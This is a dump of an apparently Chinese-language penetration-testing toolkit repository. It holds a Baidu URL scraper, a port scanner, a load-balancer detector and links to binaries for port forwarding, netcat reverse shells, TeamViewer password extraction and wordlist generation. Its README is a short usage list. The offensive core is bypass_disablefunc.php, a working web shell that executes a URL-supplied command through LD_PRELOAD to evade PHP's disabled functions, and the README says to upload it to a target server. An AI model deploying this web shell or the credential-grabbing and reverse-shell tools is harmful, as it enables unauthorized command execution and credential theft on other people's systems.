├── BaiDuUrlSpider.py ├── Lcx.exe ├── README.md ├── TV_getpass.exe ├── bypass_disablefunc.php ├── bypass_disablefunc_x64.so ├── cmd.reg ├── lbd ├── lcx ├── nc.exe ├── portscanner.py ├── superdic-cr.exe ├── 亦思社会工程学字典生成器.exe └── 急速字典去重复.exe /BaiDuUrlSpider.py: -------------------------------------------------------------------------------- 1 | #coding:utf-8 2 | #!/usr/bin/env python 3 | # code by aedoo 4 | # github: https://github.com/aedoo/ 5 | 6 | import requests,queue,sys,threading,time 7 | from bs4 import BeautifulSoup 8 | import re 9 | 10 | class BaiDuUrlSpider(threading.Thread): 11 | 12 | def __init__(self,queue): 13 | threading.Thread.__init__(self) 14 | self.__queue = queue 15 | 16 | def run(self): 17 | while not self.__queue.empty(): 18 | page_url = self.__queue.get(timeout=0.5) 19 | try: 20 | self.spider(page_url) 21 | except Exception as e: 22 | pass 23 | 24 | def spider(self,page_url): 25 | f1 = open('original_url.txt','a+') 26 | f2 = open('home_url.txt','a+') 27 | r = requests.get(url=page_url, headers=head) 28 | 29 | soup = BeautifulSoup(r.content,'lxml') 30 | raw_url = soup.find_all(name='a',attrs={'data-click':re.compile('.'),'class':None}) 31 | 32 | for raw in raw_url: 33 | # print raw['href'] 34 | trick_url = raw['href'] 35 | response = requests.get(url=trick_url,headers=head,timeout=3) 36 | 37 | if response.status_code==200: 38 | print (response.url) 39 | original_url = response.url 40 | 41 | 42 | 43 | f1.write(original_url+'\n') 44 | url_tmp = response.url 45 | url_list = url_tmp.split('/') 46 | print (url_list[0]+'//'+url_list[2]) 47 | home_url = url_list[0]+'//'+url_list[2] 48 | f2.write(home_url+'\n') 49 | else: 50 | print (response.status_code) 51 | 52 | f1.close() 53 | f2.close() 54 | 55 | 56 | def quchong(): 57 | rFile = open('home_url.txt','r') 58 | wFile = open('qc_home_url.txt','w') #去重后的txt 59 | allLine = rFile.readlines() 60 | rFile.close() 61 | s = set() 62 | for i in allLine: 63 | s.add(i) 64 | for i in s: 65 | wFile.write(i) 66 | 67 | 68 | 69 | 70 | def main(): 71 | 72 | global head 73 | head = { 74 | 75 | 'Connection': 'close', 76 | 'Upgrade-Insecure-Requests': '1', 77 | 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.110 Safari/537.36', 78 | 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 79 | 'Accept-Encoding': 'gzip, deflate, sdch, br', 80 | 'Accept-Language': 'zh-CN,zh;q=0.8', 81 | } 82 | q = queue.Queue() 83 | threads = [] 84 | threads_count = 200 #设置线程数目,最好不要大于爬取的页码数 85 | 86 | if len(sys.argv)!=2: 87 | print ('python Usage: %s keyword'% sys.argv[0]) 88 | sys.exit(-1) 89 | else: 90 | keyword = sys.argv[1] 91 | 92 | for i in range(0,750,10): #百度默认最多75页,每页10个,根据规则定义的 93 | url_start = 'https://www.baidu.com/s?wd=' + keyword + '&pn=%s'%(str(i)) #拼接百度搜索的URL 94 | #url = url_start+str(i) 95 | q.put(url_start) 96 | 97 | for i in range(threads_count): 98 | threads.append(BaiDuUrlSpider(q)) 99 | 100 | for i in threads: 101 | i.start() 102 | for i in threads: 103 | i.join() 104 | 105 | if __name__ == '__main__': 106 | f1 = open('original_url.txt','w') 107 | f1.close() 108 | f2 = open('home_url.txt','w') 109 | f2.close() 110 | time_start = time.time() 111 | main() 112 | print (time.time()-time_start) 113 | quchong() 114 | 115 | -------------------------------------------------------------------------------- /Lcx.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Enul1ttle/Tools/69c0552dfd47f2483782824d2e92c857978f4ed9/Lcx.exe -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ## 渗透小工具 2 | ### windows 3 | ``` 4 | nc.exe #是kali linux里复制出来的。试了几个版本就这个能兼容反弹shell给linux的主机 5 | lcx.exe #端口转发工具 6 | TV_getpass.exe #TeamViewer密码获取 7 | superdic-cr.exe #字典生成 8 | cmd.reg #右键选择文件夹或文件,在该处打开cmd 9 | ``` 10 | 11 | ### linux 12 | ``` 13 | lcx #Linux 版本的lcx,已经编译好了,`chmod +x lcx ` 14 | lbd #从kaki 复制出来的,检测目标是否负载均衡 15 | ``` 16 | 17 | 18 | ### 跨平台 19 | ``` 20 | portscanner.py #扫描常见的危险端口,可配合proxychains 扫内网端口 21 | BaiDuUrlSpider.py #百度url采集,在他原项目的基础上改为python3运行,并且增加去重功能 22 | ``` 23 | 24 | ### PHP 25 | 当PHP禁用命令函数时(php.ini 中用 disable_functions),把下面的两个文件上传到服务器,再访问bypass_disablefunc.php会有详细的使用介绍 26 | ``` 27 | bypass_disablefunc.php 28 | bypass_disablefunc_x64.so 29 | ``` 30 | -------------------------------------------------------------------------------- /TV_getpass.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Enul1ttle/Tools/69c0552dfd47f2483782824d2e92c857978f4ed9/TV_getpass.exe -------------------------------------------------------------------------------- /bypass_disablefunc.php: -------------------------------------------------------------------------------- 1 | example: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so

"; 3 | 4 | $cmd = $_GET["cmd"]; 5 | $out_path = $_GET["outpath"]; 6 | $evil_cmdline = $cmd . " > " . $out_path . " 2>&1"; 7 | echo "

cmdline: " . $evil_cmdline . "

"; 8 | 9 | putenv("EVIL_CMDLINE=" . $evil_cmdline); 10 | 11 | $so_path = $_GET["sopath"]; 12 | putenv("LD_PRELOAD=" . $so_path); 13 | 14 | mail("", "", "", ""); 15 | 16 | echo "

output:
" . nl2br(file_get_contents($out_path)) . "

"; 17 | 18 | unlink($out_path); 19 | ?> 20 | -------------------------------------------------------------------------------- /bypass_disablefunc_x64.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Enul1ttle/Tools/69c0552dfd47f2483782824d2e92c857978f4ed9/bypass_disablefunc_x64.so -------------------------------------------------------------------------------- /cmd.reg: -------------------------------------------------------------------------------- 1 | REGEDIT4 2 | 3 | [HKEY_CLASSES_ROOT\*\shell\cmdhere] 4 | @="Cmd&Here" 5 | 6 | [HKEY_CLASSES_ROOT\*\shell\cmdhere\command] 7 | @="cmd.exe /c start cmd.exe /k pushd \"%L\\..\"" 8 | 9 | [HKEY_CLASSES_ROOT\Folder\shell\cmdhere] 10 | @="Cmd&Here" 11 | 12 | [HKEY_CLASSES_ROOT\Folder\shell\cmdhere\command] 13 | @="cmd.exe /c start cmd.exe /k pushd \"%L\"" 14 | -------------------------------------------------------------------------------- /lbd: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # lbd (load balancing detector) detects if a given domain uses 3 | # DNS and/or HTTP Load-Balancing (via Server: and Date: header and diffs between server answers) 4 | # Copyright (C) 2010-2014 Stefan Behte 5 | # 6 | # This program is free software; you can redistribute it and/or 7 | # modify it under the terms of the GNU General Public License 8 | # as published by the Free Software Foundation; either version 2 9 | # of the License, or (at your option) any later version. 10 | # 11 | # This program is distributed in the hope that it will be useful, 12 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | # GNU General Public License for more details. 15 | # 16 | # You should have received a copy of the GNU General Public License 17 | # along with this program; if not, write to the Free Software 18 | # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 19 | # 20 | # License: GNU General Public License, version 2 21 | # http://www.gnu.org/licenses/gpl-2.0.html 22 | # 23 | # Contact me, if you have any new ideas, bugs/bugfixes, recommondations or questions! 24 | # Please also contact me, if you just like the tool. :) 25 | # 26 | # craig at haquarter dot de 27 | # 28 | # 0.1: - initial release 29 | # 0.2: - fix license for fedora 30 | # - fix indenting 31 | # 0.3: - fix bug if dns server returns same IP multiple times 32 | # (fix by bit bori, thanks!) 33 | # - fix bug if there is no date header 34 | # (fix by Paul Rib, thanks!) 35 | # 0.4: - support HTTPs, support different ports 36 | # (thanks Bharadwaj Machiraju) 37 | 38 | QUERIES=50 39 | DOMAIN=$1 40 | PORT=${2-80} # Use default port 80, if not given 41 | if [ "$3" = "https" ] 42 | then 43 | HTTPS=true 44 | else 45 | HTTPS=false 46 | fi 47 | METHODS="" 48 | 49 | echo 50 | echo "lbd - load balancing detector 0.4 - Checks if a given domain uses load-balancing." 51 | echo " Written by Stefan Behte (http://ge.mine.nu)" 52 | echo " Proof-of-concept! Might give false positives." 53 | 54 | if [ "$1" = "" ] 55 | then 56 | echo "usage: $0 domain [port] {https}" 57 | echo 58 | exit -1 59 | fi 60 | 61 | echo -e -n "\nChecking for DNS-Loadbalancing:" 62 | NR=`host $DOMAIN | grep "has add" | uniq | wc -l` 63 | 64 | if [ $NR -gt 1 ] 65 | then 66 | METHODS="DNS" 67 | echo " FOUND" 68 | host $DOMAIN | grep "has add" | uniq 69 | echo 70 | else 71 | echo " NOT FOUND" 72 | fi 73 | 74 | echo -e "Checking for HTTP-Loadbalancing [Server]: " 75 | for ((i=0 ; i< $QUERIES ; i++)) 76 | do 77 | if [ $HTTPS = true ] 78 | then 79 | printf "HEAD / HTTP/1.1\r\nhost: $DOMAIN\r\nConnection: close\r\n\r\n" | openssl s_client -host $DOMAIN -port $PORT -quiet > .nlog 2> /dev/null 80 | else 81 | printf "HEAD / HTTP/1.1\r\nhost: $DOMAIN\r\nConnection: close\r\n\r\n" | nc $DOMAIN $PORT > .nlog 2>/dev/null 82 | fi 83 | 84 | S=`grep -i "Server:" .nlog | awk -F: '{print $2}'` 85 | 86 | if ! grep "`echo ${S}| cut -b2-`" .log &>/dev/null 87 | then 88 | echo "${S}" 89 | fi 90 | cat .nlog >> .log 91 | done 92 | 93 | NR=`sort .log | uniq | grep -c "Server:"` 94 | 95 | if [ $NR -gt 1 ] 96 | then 97 | echo " FOUND" 98 | METHODS="$METHODS HTTP[Server]" 99 | else 100 | echo " NOT FOUND" 101 | fi 102 | echo 103 | rm .nlog .log 104 | 105 | 106 | echo -e -n "Checking for HTTP-Loadbalancing [Date]: " 107 | D4= 108 | 109 | for ((i=0 ; i<$QUERIES ; i++)) 110 | do 111 | if [ $HTTPS = true ] 112 | then 113 | D=`printf "HEAD / HTTP/1.1\r\nhost: $DOMAIN\r\nConnection: close\r\n\r\n" | openssl s_client -host $DOMAIN -port $PORT -quiet 2> /dev/null | grep "Date:" | awk '{print $6}'` 114 | else 115 | D=`printf "HEAD / HTTP/1.1\r\nhost: $DOMAIN\r\nConnection: close\r\n\r\n" | nc $DOMAIN $PORT 2>/dev/null | grep "Date:" | awk '{print $6}'` 116 | fi 117 | printf "$D, " 118 | 119 | if [ "$D" == "" ] 120 | then 121 | echo "No date header found, skipping." 122 | break 123 | fi 124 | 125 | Df=$(echo " $D" | sed -e 's/:0/:/g' -e 's/ 0/ /g') 126 | D1=$(echo ${Df} | awk -F: '{print $1}') 127 | D2=$(echo ${Df} | awk -F: '{print $2}') 128 | D3=$(echo ${Df} | awk -F: '{print $3}') 129 | 130 | if [ "$D4" = "" ]; then D4=0; fi 131 | 132 | if [ $[ $D1 * 3600 + $D2 * 60 + $D3 ] -lt $D4 ] 133 | then 134 | echo "FOUND" 135 | METHODS="$METHODS HTTP[Date]" 136 | break; 137 | fi 138 | 139 | D4="$[ $D1 * 3600 + $D2 * 60 + $D3 ]" 140 | 141 | if [ $i -eq $[$QUERIES - 1] ] 142 | then 143 | echo "NOT FOUND" 144 | fi 145 | done 146 | 147 | echo -e -n "\nChecking for HTTP-Loadbalancing [Diff]: " 148 | for ((i=0 ; i<$QUERIES ; i++)) 149 | do 150 | if [ $HTTPS = true ] 151 | then 152 | printf "HEAD / HTTP/1.1\r\nhost: $DOMAIN\r\nConnection: close\r\n\r\n" | openssl s_client -host $DOMAIN -port $PORT -quiet 2> /dev/null | grep -v -e "Date:" -e "Set-Cookie" > .nlog 153 | else 154 | printf "HEAD / HTTP/1.1\r\nhost: $DOMAIN\r\nConnection: close\r\n\r\n" | nc $DOMAIN $PORT 2>/dev/null | grep -v -e "Date:" -e "Set-Cookie" > .nlog 155 | fi 156 | 157 | if ! cmp .log .nlog &>/dev/null && [ -e .log ] 158 | then 159 | echo "FOUND" 160 | diff .log .nlog | grep -e ">" -e "<" 161 | METHODS="$METHODS HTTP[Diff]" 162 | break; 163 | fi 164 | 165 | cp .nlog .log 166 | 167 | if [ $i -eq $[$QUERIES - 1] ] 168 | then 169 | echo "NOT FOUND" 170 | fi 171 | done 172 | 173 | rm .nlog .log 174 | 175 | 176 | if [ "$METHODS" != "" ] 177 | then 178 | echo 179 | echo $DOMAIN does Load-balancing. Found via Methods: $METHODS 180 | echo 181 | else 182 | echo 183 | echo $DOMAIN does NOT use Load-balancing. 184 | echo 185 | fi 186 | 187 | -------------------------------------------------------------------------------- /lcx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Enul1ttle/Tools/69c0552dfd47f2483782824d2e92c857978f4ed9/lcx -------------------------------------------------------------------------------- /nc.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Enul1ttle/Tools/69c0552dfd47f2483782824d2e92c857978f4ed9/nc.exe -------------------------------------------------------------------------------- /portscanner.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | # Author: TheBaconator 4 | # Thanks to Mansoor at digitz.org for some of the help! 5 | 6 | # Importing the modules 7 | # socket :=> This is what we use to create a socket connection 8 | # argparse is used to parse arguments. This is not important now 9 | # and it is out of the scope of this post 10 | import socket,sys,time,datetime,argparse,os 11 | flag = 0 # we're gonna use this flag later. Just keep it in mind 12 | os.system('clear') # Clear the console window 13 | line = "+" * 80 # Just a fancy line consisting '+' 14 | desc = line+'''\nThis port scanner is for educational purposes only and should only 15 | be used on systems that you have permission to scan on. I am not responsible 16 | for any misuse of this port scanner. Happy Scanning! 17 | 18 | Example usage: python port_scanner.py example.com 1 1000 19 | The above example will scan the host \'example.com\' from port 1 to 1000 20 | To scan most common ports, use: python port_scanner.py example.com\n'''+line+"\n" 21 | # Just a description about the script and how to use it 22 | 23 | # I would suggest you to read about "argparse", it comes in handy 24 | # when you want to parse arguments 25 | parser = argparse.ArgumentParser(description = desc, formatter_class=argparse.RawTextHelpFormatter) 26 | parser.add_argument('host', metavar='H', help='Host name you want to scan') 27 | parser.add_argument('startport', metavar='P1', nargs='?', help='Start scanning from this port') 28 | parser.add_argument('endport', metavar='P2', nargs='?',help='Scan until this port') 29 | args = parser.parse_args() 30 | 31 | host = args.host # The host name to scan for open ports 32 | ip = socket.gethostbyname(host) # Converts the host name into IP address 33 | 34 | # args.startpoint corresponds to the first port we will scan 35 | # args.endport corresponds to the last port 36 | 37 | # Here, we're checking if both starting port and ending port is defined 38 | # If it is not defined, we will do a scan over most popular TCP ports. 39 | if (args.startport) and args.endport : 40 | # If this condition is true, the script will scan over this port range 41 | start_port = int(args.startport) 42 | end_port = int(args.endport) 43 | else: 44 | # In this case, the script will scan the most common ports. 45 | # that is, if you did not give any ports as argument. 46 | flag = 1 47 | 48 | open_ports = [] # This list is used to hold the open ports 49 | 50 | # This dictionary contains the most popular ports used 51 | # You can add ports here. 52 | # The key is the port number and the values is the service used by that port 53 | common_ports = { 54 | 55 | '21': 'FTP', 56 | '22': 'SSH', 57 | '23': 'TELNET', 58 | '25': 'SMTP', 59 | '53': 'DNS', 60 | '69': 'TFTP', 61 | '80': 'HTTP', 62 | '88': 'Kerberos', 63 | '102': 'MS Exchange', 64 | '109': 'POP2', 65 | '110': 'POP3', 66 | '123': 'NTP', 67 | '137': 'NETBIOS-NS', 68 | '138': 'NETBIOS-DGM', 69 | '139': 'NETBIOS-SSN', 70 | '143': 'IMAP4', 71 | '156': 'SQL-SERVER', 72 | '161': 'snmp', 73 | '389': 'LDAP', 74 | '443': 'HTTPS', 75 | '445': 'smb', 76 | '464': 'Kerberos', 77 | '546': 'DHCP-CLIENT', 78 | '547': 'DHCP-SERVER', 79 | '873': 'rsync', 80 | '995': 'POP3-SSL', 81 | '993': 'IMAP-SSL', 82 | '1025': 'RPC', 83 | '1080': 'socket', 84 | '1099': 'java rmi', 85 | '1194': 'OpenVPN', 86 | '1352': 'Lotus', 87 | '1433': 'mssql', 88 | '1500': 'ISPmaneger', 89 | '1723': 'PPTP', 90 | '1521': 'oracle', 91 | '2049': 'nfs', 92 | '2086': 'WHM/CPANEL', 93 | '2087': 'WHM/CPANEL', 94 | '2082': 'CPANEL', 95 | '2083': 'CPANEL', 96 | '2181': 'zookeeper', 97 | '2601': 'zebra', 98 | '2604': 'zebra', 99 | '3306': 'MYSQL', 100 | '3690': 'SVN', 101 | '3128': 'squid', 102 | '3389': 'RDP', 103 | '4440': 'rundeck', 104 | '4848': 'glassfish', 105 | '5000': 'sybase', 106 | '5432': 'postgesql', 107 | '5632': 'pcanywhere', 108 | '5900': 'VNC', 109 | '5984': 'CouchDB', 110 | '6379': 'redis', 111 | '7001': 'weblogic', 112 | '8080': 'web', 113 | '8089': 'web', 114 | '8090': 'web', 115 | '8069': 'zabbix', 116 | '8443': 'PLESK', 117 | '8649': 'ganglia', 118 | '8888': 'amh/LuManager', 119 | '9000': 'fcgi', 120 | '9043': 'websphere', 121 | '9200': 'elasticsearch', 122 | '10000': 'VIRTUALMIN/WEBMIN', 123 | '11211': 'memcache', 124 | '27017': 'mongodb', 125 | '28017': 'mongodb', 126 | '50000': 'Upnp', 127 | '50030': 'hadoop', 128 | '50060': 'hadoop' 129 | } 130 | 131 | starting_time = time.time() # Get the time at which the scan was started 132 | print "+" * 73 133 | print "\tSimple Port Scanner..!!!" 134 | print "+" * 73 135 | 136 | if (flag): # The flag is set, that means the user did not provide any ports as argument 137 | print "Scanning for most common ports on %s" % (host) 138 | else: 139 | # The user did specify a port range to scan 140 | print "Scanning %s from port %s - %s: " % (host, start_port, end_port) 141 | print "Scanning started at %s" %(time.strftime("%I:%M:%S %p")) 142 | 143 | 144 | # This is the function that will connect to a port and will check 145 | # if it is open or closed 146 | def check_port(host, port, result = 1): 147 | # The function takes 3 arguments 148 | # host : the IP to scan 149 | # port : the port number to connect 150 | try: 151 | # Creating a socket object named 'sock' 152 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 153 | # Setting socket timeout so that the socket does not wait forever to complete a connection 154 | sock.settimeout(0.5) 155 | # Connect to the socket 156 | # if the connection was successful, that means the port 157 | # is open, and the output 'r' will be zero 158 | r = sock.connect_ex((host, port)) 159 | if r == 0: 160 | result = r 161 | sock.close() # closing the socket 162 | except Exception, e: 163 | pass 164 | 165 | return result # returns the result of the scan. 166 | 167 | # This function reads the dictonary of ports and services and 168 | # Checks for the service name corresponding to a port. 169 | def get_service(port): 170 | port = str(port) # converts the int to string 171 | if port in common_ports: # check if the port is available in the common ports dictionary 172 | return common_ports[port] # returns the service name if available 173 | else: 174 | return 0 # return 0 if no service is identified 175 | 176 | 177 | try: 178 | print "Scan in progress.." 179 | print "Connecting to Port: ", 180 | 181 | if flag: # The flag is set, means the user did not give any port range 182 | for p in sorted(common_ports): # So we will scan the common ports. 183 | sys.stdout.flush() # flush the stdout buffer. 184 | p = int(p) 185 | print p, 186 | response = check_port(host, p) # call the function to connect to the port 187 | if response == 0: # The port is open 188 | open_ports.append(p) # append it to the list of open ports 189 | #if not p == end_port: 190 | sys.stdout.write('\b' * len(str(p))) # This is just used to clear the port number displayed. This is not important at all 191 | else: 192 | 193 | # The user did provide a port range, now we have to scan through that range 194 | for p in range(start_port, end_port+1): 195 | sys.stdout.flush() 196 | print p, 197 | response = check_port(host, p) # Call the function to connect to the port 198 | if response == 0: # Port is open 199 | open_ports.append(p) # Append to the list of open ports 200 | if not p == end_port: 201 | sys.stdout.write('\b' * len(str(p))) 202 | 203 | print "\nScanning completed at %s" %(time.strftime("%I:%M:%S %p")) 204 | ending_time = time.time() 205 | total_time = ending_time - starting_time # Calculating the total time used to scan 206 | print "=" * 40 207 | print "\tScan Report: %s" %(host) 208 | print "=" * 40 209 | if total_time <= 60: 210 | total_time = str(round(total_time, 2)) 211 | print "Scan Took %s seconds" %(total_time) 212 | else: 213 | total_time = total_time / 60 214 | print "Scan Took %s Minutes" %(total_time) 215 | 216 | if open_ports: # There are open ports available 217 | print "Open Ports: " 218 | for i in sorted(open_ports): 219 | service = get_service(i) 220 | if not service: # The service is not in the disctionary 221 | service = "Unknown service" 222 | print "\t%s %s: Open" % (i, service) 223 | else: 224 | # No open ports were found 225 | print "Sorry, No open ports found.!!" 226 | 227 | except KeyboardInterrupt: # This is used in case the user press "Ctrl+C", it will show the following error instead of a python's scary error 228 | print "You pressed Ctrl+C. Exiting " 229 | sys.exit(1) 230 | -------------------------------------------------------------------------------- /superdic-cr.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Enul1ttle/Tools/69c0552dfd47f2483782824d2e92c857978f4ed9/superdic-cr.exe -------------------------------------------------------------------------------- /亦思社会工程学字典生成器.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Enul1ttle/Tools/69c0552dfd47f2483782824d2e92c857978f4ed9/亦思社会工程学字典生成器.exe -------------------------------------------------------------------------------- /急速字典去重复.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Enul1ttle/Tools/69c0552dfd47f2483782824d2e92c857978f4ed9/急速字典去重复.exe --------------------------------------------------------------------------------